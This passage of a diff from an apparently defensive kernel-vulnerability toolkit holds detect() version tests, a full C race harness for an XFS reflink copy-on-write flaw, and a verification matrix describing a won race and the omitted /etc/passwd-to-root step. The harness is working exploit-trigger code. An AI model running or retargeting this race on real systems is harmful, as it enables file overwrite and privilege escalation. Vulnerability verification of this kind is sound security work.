run_one("refluxfs: 6.12.95 below the 6.12.96 backport → VULNERABLE",
&refluxfs_module, &h_rfx_61295,
SKELETONKEY_VULNERABLE);
/* 6.12.96 exact backport → OK via patch table */
struct skeletonkey_host h_rfx_61296 =
mk_host(h_kernel_6_12, 6, 12, 96, "6.12.96-test");
run_one("refluxfs: 6.12.96 (exact backport) → OK via patch table",
&refluxfs_module, &h_rfx_61296,
SKELETONKEY_OK);
/* 6.13.0 — newer than 6.12.96 but OLDER than 6.18.39/7.1.4, an EOL
* branch with no fix → must stay VULNERABLE ("newer than ALL" test). */
struct skeletonkey_host h_rfx_6130 =
mk_host(h_kernel_6_12, 6, 13, 0, "6.13.0-test");
run_one("refluxfs: 6.13.0 newer than some entries but not all → VULNERABLE",
&refluxfs_module, &h_rfx_6130,
SKELETONKEY_VULNERABLE);
/* 6.18.38 one below the 6.18.39 backport → VULNERABLE */
struct skeletonkey_host h_rfx_61838 =
mk_host(h_kernel_6_12, 6, 18, 38, "6.18.38-test");
run_one("refluxfs: 6.18.38 below the 6.18.39 backport → VULNERABLE",
&refluxfs_module, &h_rfx_61838,
SKELETONKEY_VULNERABLE);
/* 6.18.39 exact backport → OK */
struct skeletonkey_host h_rfx_61839 =
mk_host(h_kernel_6_12, 6, 18, 39, "6.18.39-test");
run_one("refluxfs: 6.18.39 (exact backport) → OK via patch table",
&refluxfs_module, &h_rfx_61839,
SKELETONKEY_OK);
/* 7.1.3 one below the 7.1.4 backport → VULNERABLE */
struct skeletonkey_host h_rfx_713 =
mk_host(h_kernel_6_12, 7, 1, 3, "7.1.3-test");
run_one("refluxfs: 7.1.3 below the 7.1.4 backport → VULNERABLE",
&refluxfs_module, &h_rfx_713,
SKELETONKEY_VULNERABLE);
/* 7.1.4 exact backport → OK */
struct skeletonkey_host h_rfx_714 =
mk_host(h_kernel_6_12, 7, 1, 4, "7.1.4-test");
run_one("refluxfs: 7.1.4 (exact backport) → OK via patch table",
&refluxfs_module, &h_rfx_714,
SKELETONKEY_OK);
/* 7.2.0 newer than every entry → mainline-inherited fix
* (2f4acd0fcd86 shipped in 7.2-rc4) → OK */
struct skeletonkey_host h_rfx_720 =
mk_host(h_kernel_6_12, 7, 2, 0, "7.2.0-test");
run_one("refluxfs: 7.2.0 above all backports → OK (mainline inherit)",
&refluxfs_module, &h_rfx_720,
SKELETONKEY_OK);
/* Same vulnerable kernel, but no writable XFS filesystem mounted —
* the stock Debian/Ubuntu (ext4) case. The bug is unreachable, so the
* honest verdict is PRECOND_FAIL rather than VULNERABLE. */
setenv("SKELETONKEY_XFS_ASSUME_REFLINK", "0", 1);
run_one("refluxfs: 6.12.95 but no XFS mounted → PRECOND_FAIL",
&refluxfs_module, &h_rfx_61295,
SKELETONKEY_PRECOND_FAIL);
unsetenv("SKELETONKEY_XFS_ASSUME_REFLINK");
/* ── coverage report ─────────────────────────────────────────
* Iterate the runtime registry (populated by skeletonkey_register_*
* calls in main()) and warn for any module that was not touched
+155
View File
@@ -0,0 +1,155 @@
/*
* refluxfs_verify.c — VM-ONLY verification harness for CVE-2026-64600.
*
* NOT part of SKELETONKEY. This exists to answer one question that the
* shipped module deliberately refuses to answer: is THIS kernel actually
* vulnerable? The shipped trigger is intentionally under-driven (8 writers /
* 2 helpers / 2s) so it never grinds toward a win on a production box. Here,
* inside a throwaway VM, we drive it at the public PoC's parameters
* (32 writers / 8 helpers) for a real time budget.
*
* It is still confined to files THIS USER OWNS in a private scratch dir. It
* does not clone, read, or touch /etc/passwd or any other file we do not own.
* A win corrupts 4 KiB of our own donor file and nothing else.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <time.h>
#include <sched.h>
#include <pthread.h>
#include <stdatomic.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#define BLK 4096u
#define ALIGN 4096u
#define DONOR_BYTE 0x5a
#define ATTACK_BYTE 0x41
#ifndef FICLONE
#define FICLONE _IOW(0x94, 9, int)
#endif
static int WRITERS = 32; /* public PoC parameter */
static int HELPERS = 8; /* public PoC parameter */
static int BUDGET = 60; /* seconds */
static char donor[1024], clonep[1024];
static atomic_int gate, stop;
static void *writer_fn(void *a)
{
(void)a;
int fd = open(clonep, O_RDWR | O_DIRECT);
if (fd < 0) return NULL;
void *buf = NULL;
if (posix_memalign(&buf, ALIGN, BLK) != 0) { close(fd); return NULL; }
memset(buf, ATTACK_BYTE, BLK);
while (!atomic_load_explicit(&gate, memory_order_acquire)) sched_yield();
(void)!pwrite(fd, buf, BLK, 0);
free(buf); close(fd);
return NULL;
}
static void *helper_fn(void *a)
{
(void)a;
int fd = open(clonep, O_RDWR);
if (fd < 0) return NULL;
while (!atomic_load_explicit(&gate, memory_order_acquire)) sched_yield();
while (!atomic_load_explicit(&stop, memory_order_acquire)) {
(void)!ftruncate(fd, (off_t)BLK * 2); (void)fdatasync(fd);
(void)!ftruncate(fd, (off_t)BLK); (void)fdatasync(fd);
}
close(fd);
return NULL;
}
static int build_pair(void)
{
int dfd = open(donor, O_RDWR | O_CREAT | O_TRUNC, 0600);
if (dfd < 0) return -1;
void *buf = NULL;
if (posix_memalign(&buf, ALIGN, BLK) != 0) { close(dfd); return -1; }
memset(buf, DONOR_BYTE, BLK);
ssize_t w = pwrite(dfd, buf, BLK, 0);
free(buf);
if (w != (ssize_t)BLK) { close(dfd); return -1; }
(void)fsync(dfd);
int cfd = open(clonep, O_RDWR | O_CREAT | O_TRUNC, 0600);
if (cfd < 0) { close(dfd); return -1; }
int rc = ioctl(cfd, FICLONE, dfd) == 0 ? 0 : -1;
(void)fsync(cfd);
close(cfd); close(dfd);
return rc;
}
/* O_DIRECT read: the corruption lands under the inode, so a buffered read
* would be served from a stale (correct-looking) page and hide a win. */
static int donor_diverged(void)
{
int fd = open(donor, O_RDONLY | O_DIRECT);
if (fd < 0) return -1;
void *buf = NULL;
if (posix_memalign(&buf, ALIGN, BLK) != 0) { close(fd); return -1; }
int rc = -1;
if (pread(fd, buf, BLK, 0) == (ssize_t)BLK) {
const unsigned char *p = buf;
rc = 0;
for (size_t i = 0; i < BLK; i++) if (p[i] != DONOR_BYTE) { rc = 1; break; }
}
free(buf); close(fd);
return rc;
}
int main(int argc, char **argv)
{
const char *dir = argc > 1 ? argv[1] : "/var/tmp";
if (argc > 2) BUDGET = atoi(argv[2]);
char scratch[1024];
snprintf(scratch, sizeof scratch, "%s/rfxverify-XXXXXX", dir);
if (!mkdtemp(scratch)) { perror("mkdtemp"); return 1; }
snprintf(donor, sizeof donor, "%s/donor", scratch);
snprintf(clonep, sizeof clonep, "%s/clone", scratch);
printf("[*] refluxfs verify: %d writers, %d helpers, %ds budget, scratch=%s\n",
WRITERS, HELPERS, BUDGET, scratch);
pthread_t *w = calloc(WRITERS, sizeof *w);
pthread_t *h = calloc(HELPERS, sizeof *h);
int won = 0; long rounds = 0;
time_t deadline = time(NULL) + BUDGET;
while (time(NULL) < deadline && !won) {
if (build_pair() != 0) { fprintf(stderr, "[-] FICLONE failed\n"); break; }
atomic_store(&gate, 0); atomic_store(&stop, 0);
int nw = 0, nh = 0;
for (int i = 0; i < WRITERS; i++) if (!pthread_create(&w[nw], NULL, writer_fn, NULL)) nw++;
for (int i = 0; i < HELPERS; i++) if (!pthread_create(&h[nh], NULL, helper_fn, NULL)) nh++;
usleep(1500);
atomic_store(&gate, 1);
for (int i = 0; i < nw; i++) pthread_join(w[i], NULL);
atomic_store(&stop, 1);
for (int i = 0; i < nh; i++) pthread_join(h[i], NULL);
rounds++;
if (donor_diverged() == 1) won = 1;
if ((rounds % 200) == 0) { printf(" ... %ld rounds\n", rounds); fflush(stdout); }
}
printf("%s after %ld rounds\n",
won ? "[!] RACE WON — donor's on-disk bytes were rewritten through a still-shared block"
: "[i] no divergence observed", rounds);
unlink(donor); unlink(clonep); rmdir(scratch);
free(w); free(h);
return won ? 2 : 0;
}
+10
View File
@@ -334,6 +334,16 @@ bad_epoll:
expect_detect: VULNERABLE
notes: "CVE-2026-46242 'Bad Epoll'; epoll ep_remove-vs-__fput teardown race UAF (Jaeyoung Chung / J-jaeyoung kernelCTF PoC). Introduced 6.4 (58c9b016e128); fixed a6dc643c6931 (7.1-rc1), stable backport 7.0.13 (Debian forky 7.0.13-1 / sid 7.0.14-1); trixie 6.12.x still vulnerable, 6.1/5.10 not affected (code not present). detect() is a PURE version gate — no userns/CONFIG probe, because epoll is reachable by every unprivileged user; on Ubuntu 24.04 stock 6.8.0 (in [6.4, 7.0.13)) it returns VULNERABLE. To also confirm the PATCHED verdict, boot a >= 7.0.13 / 7.1 kernel and expect OK. exploit() forks a CPU-pinned child that builds the epoll race pair (waiter eventpoll watching a target eventpoll) and exercises the ep_remove-vs-__fput concurrent-close window a HARD-BOUNDED 48 attempts / 2s, widening it with close(dup()) false-sharing storms, snapshots the eventpoll/kmalloc-192 slab, and returns EXPLOIT_FAIL. DELIBERATELY UNDER-DRIVEN: a won race frees a live struct eventpoll (real corruption that rarely trips KASAN → possible SILENT destabilisation on a vulnerable host), so the module does NOT grind the race to a win, does NOT perform the cross-cache reclaim, and does NOT bundle the /proc/self/fdinfo arb-read + ROP root-pop. Trigger RECONSTRUCTED from the public kernelCTF PoC — NOT VM-verified. Lowest --auto safety rank (12). Provisioner caution: run only in a throwaway VM/snapshot — even the bounded trigger can, on a rare win, corrupt or panic a vulnerable kernel. Detection is intentionally weak (epoll syscalls ubiquitous); no yara. Sweep + trigger validation pending."
# ── refluxfs (CVE-2026-64600) addition ──────────────────────────────
refluxfs:
box: rocky9-genericcloud # NOT a Vagrant box — Rocky-9-GenericCloud-Base.latest.x86_64.qcow2 booted under qemu/KVM
kernel_pkg: "" # stock 5.14.0-687.10.1.el9_8.0.1 — below every backport entry (6.12.96/6.18.39/7.1.4) → VULNERABLE by version
kernel_version: "5.14.0"
expect_detect: VULNERABLE
verified: "2026-07-23 — CONFIRMED on Rocky Linux 9.8 / 5.14.0-687.10.1.el9_8.0.1.x86_64, qemu/KVM, 6 vCPUs. The corpus's FIRST rpm-family verification. Stock GenericCloud layout needed NO provisioner changes: root is /dev/vda4 XFS with reflink=1 out of the box, which is exactly why this CVE hits the RHEL family so broadly. Results: detect() -> VULNERABLE (found writable XFS at /var/tmp); the rpm-family vendor-backport caveat fired correctly; `--active` FICLONE witness -> reflink CONFIRMED; phase A observed FIEMAP_EXTENT_SHARED on a real shared extent (note: btrfs never reported that flag during host-side testing, XFS does — which is why the module treats FICLONE success, not FIEMAP, as the authoritative gate); O_DIRECT available; scratch dir self-cleaned with no artifacts; the source also built clean on el9 gcc. The SHIPPED trigger (8 writers / 2 helpers / 16 rounds / 2s) ran and did NOT win — that is INTENDED under-driving, not a defect. THE UNDERLYING BUG WAS SEPARATELY CONFIRMED WINNABLE on this kernel via the VM-only harness tools/verify-vm/refluxfs_verify.c, driven at the public PoC's parameters (32 writers / 8 helpers, 60s budget): 4/4 runs won, first divergence after 69, 114, 170 and 494 rounds — a racing O_DIRECT write landed on a still-shared block and rewrote the donor's on-disk bytes, i.e. the arbitrary-overwrite primitive observed directly, contained to files the test user owned. No oops, no dmesg output, no instability — consistent with a data-oriented bug. Takeaway for future sweeps: a non-win from the shipped trigger must NEVER be recorded as 'patched'; trust the version gate and the vendor erratum."
notes: "CVE-2026-64600 'RefluXFS'; XFS reflink CoW ILOCK-cycling TOCTOU race (Qualys TRU, Saeed Abbasi; advisory credits model-assisted analysis with Anthropic; video PoC on RHEL 10.2). Introduced 4.11 (3c68d44a2b49, direct-I/O CoW alloc in iomap_begin); fixed 2f4acd0fcd86 (mainline 7.2-rc4, merged 2026-07-16), stable backports 7.1.4 / 6.18.39 / 6.12.96; the 6.6/6.1/5.15/5.14/5.10/4.19/4.18 lines have no upstream stable fix. PROVISIONER REQUIREMENT — unlike every other module in this matrix, detect() has a STORAGE precondition, and all five boxes here are Debian/Ubuntu with ext4 roots, so a stock box correctly returns PRECOND_FAIL. To exercise the VULNERABLE path the provisioner must create a reflink-enabled XFS volume the unprivileged user can write to, e.g.: `truncate -s 2G /var/tmp/xfs.img && mkfs.xfs -m reflink=1 /var/tmp/xfs.img && mkdir -p /mnt/xfs && mount -o loop /var/tmp/xfs.img /mnt/xfs && chmod 1777 /mnt/xfs` (Ubuntu 22.04 ships xfsprogs 5.13, where reflink=1 is already the mkfs default). detect() finds it by scanning /proc/mounts for fstype xfs and confirming statfs() f_type == XFS_SUPER_MAGIC + write access — note it deliberately does NOT accept a successful FICLONE as proof, since btrfs implements FICLONE and is unaffected. Without the provisioner step, expect_detect is PRECOND_FAIL; with it, VULNERABLE. Both verdicts are worth recording. The version+precondition matrix is also covered by the 14 detect() unit rows in tests/test_detect.c (incl. 4.18/5.14 el8/el9 bases, the 6.13.0 'newer than some entries but not all' case, and the no-XFS PRECOND_FAIL row) driven via SKELETONKEY_XFS_ASSUME_REFLINK=1/0. IDEAL TARGET, NOT IN THIS MATRIX: a Rocky/Alma/CentOS Stream 9 box, where XFS+reflink is the INSTALLER default and no provisioner step is needed — that is the real affected population (RHEL/CentOS/Rocky/Alma/Oracle/CloudLinux 8-10, Fedora Server >= 31, Amazon Linux 2023) and is the reason this module ships unverified. Adding an rpm-family box to boxes/ is the follow-up. CAVEAT for any rpm-family sweep: those vendors backport WITHOUT bumping the upstream version (a patched el8 kernel still reports 4.18.0-*), so a VULNERABLE verdict there reflects the upstream base version only and must be reconciled against the RHSA/ELSA/ALSA/RLSA erratum — detect() prints that warning itself. exploit() forks a child that works ONLY inside a private mkdtemp scratch dir on two files it owns: it establishes a shared extent (FICLONE, corroborated by FIEMAP_EXTENT_SHARED) and an O_DIRECT gate, then races a HARD-BOUNDED 8 writers / 2 ftruncate+fdatasync helpers / 16 rounds / 2s and stops, reading the donor back with O_DIRECT (a buffered read would be served from the page cache the corruption bypasses) and reporting divergence honestly. DELIBERATELY UNDER-DRIVEN (public PoC uses 32 writers / 8 helpers) and it NEVER clones or targets a file it does not own — the /etc/passwd overwrite -> su -> root step persistently rewrites a system file on disk with no undo and is NOT bundled. Returns EXPLOIT_FAIL. Provisioner note — this is SAFER to run than the other reconstructed race triggers, not more dangerous: the bug corrupts file DATA, not kernel memory, so there is no oops/KASAN/panic path, and a won race damages 4 KiB of a scratch file the module then deletes. Safety rank 55. Detection: auditd/sigma anchor on ioctl request 0x40049409 (FICLONE) and openat O_DIRECT; the yara rule matches the on-disk artifact because FIM CANNOT see this attack (the write bypasses the victim inode, leaving mtime/ctime/size untouched). Sweep + trigger validation pending."
# ── ghostlock (CVE-2026-43499) addition ─────────────────────────────
ghostlock: